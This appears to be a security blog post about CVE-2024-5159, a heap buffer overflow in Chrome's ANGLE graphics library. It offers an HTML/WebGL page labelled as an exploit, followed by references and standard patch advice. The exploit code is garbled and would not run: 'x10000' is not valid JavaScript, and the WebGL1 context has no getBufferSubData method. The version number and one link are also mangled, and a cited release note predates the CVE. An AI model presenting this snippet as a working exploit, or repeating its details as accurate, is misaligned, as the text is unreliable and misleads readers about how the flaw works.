A recently discovered vulnerability in Google Chrome, identified as CVE-2024-5159, involves a heap buffer overflow in ANGLE, a graphics engine abstraction library used by Chrome. This Chrome vulnerability could allow a remote attacker to perform an out of bounds memory read via a crafted HTML page, potentially leading to arbitrary code execution, data leakage or browser crashing.

In this post, we'll take a deeper look at this vulnerability, provide code snippets demonstrating the exploit, and link to original references. We'll also discuss widely recommended mitigation strategies to help protect your systems against this issue.

Vulnerability Details

CVE-2024-5159 affects Google Chrome versions prior to 125..6422.76. The vulnerability exists within ANGLE, a graphics library specifically designed to provide a common interface for rendering 2D and 3D graphics in browsers and other applications. Many modern websites and web applications rely on 2D and 3D graphics rendering for enhanced user experience and interactivity.

Here's an example of a crafted HTML page that could potentially exploit this vulnerability

<!DOCTYPE html>
<html>
<head>
  <script>
    function exploit() {
      var canvas = document.createElement("canvas");
      var context = canvas.getContext("webgl");
      var buffer = context.createBuffer();
      context.bindBuffer(context.ARRAY_BUFFER, buffer);
      // Craft the buffer data to trigger the heap buffer overflow
      var data = new Float32Array(x10000);
      context.bufferData(context.ARRAY_BUFFER, data, context.STATIC_DRAW);
      // Attempt to perform an out of bounds memory read
      context.getBufferSubData(context.ARRAY_BUFFER, x10000, data);
    }
  </script>
</head>
<body>
  <button onclick="exploit()">Trigger Exploit</button>
</body>
</html>

When the button is clicked, the exploit function is executed, which creates a WebGL canvas element and attempts to exploit the heap buffer overflow vulnerability. It's critical to emphasize that this code is for educational purposes only and should not be used maliciously.

References and Original Sources

Several resources offer further insight into CVE-2024-5159. Here's a list of some original sources discussing the technical aspects of this vulnerability:

1. Chromium Security Blog: https://chromereleases.googleblog.com/2022/02/stable-channel-update-for-desktop.html
2. ANGLE Project: https://angleproject.appspot.com/
3. WebGL Specification: https://www.khronos.org/registry/webgl/specs/latest/1./

Mitigation and Recommendations

To minimize the risk of exploitation from CVE-2024-5159, Google Chrome users should immediately update their browsers to the latest version, which contains a patch addressing this issue. Beyond upgrading, users should maintain general security best practices, including keeping operating systems, applications, and plugins updated, being cautious with unfamiliar websites and links, and using security solutions like antivirus software and firewalls.

In summary, CVE-2024-5159 is a high-severity heap buffer overflow vulnerability in the ANGLE graphics engine library used by Google Chrome. By understanding this vulnerability and applying appropriate mitigations and security practices, users can better protect their systems from potential exploitation.

Timeline

Published on: 05/22/2024 16:15:11 UTC
Last modified on: 08/01/2024 21:03:10 UTC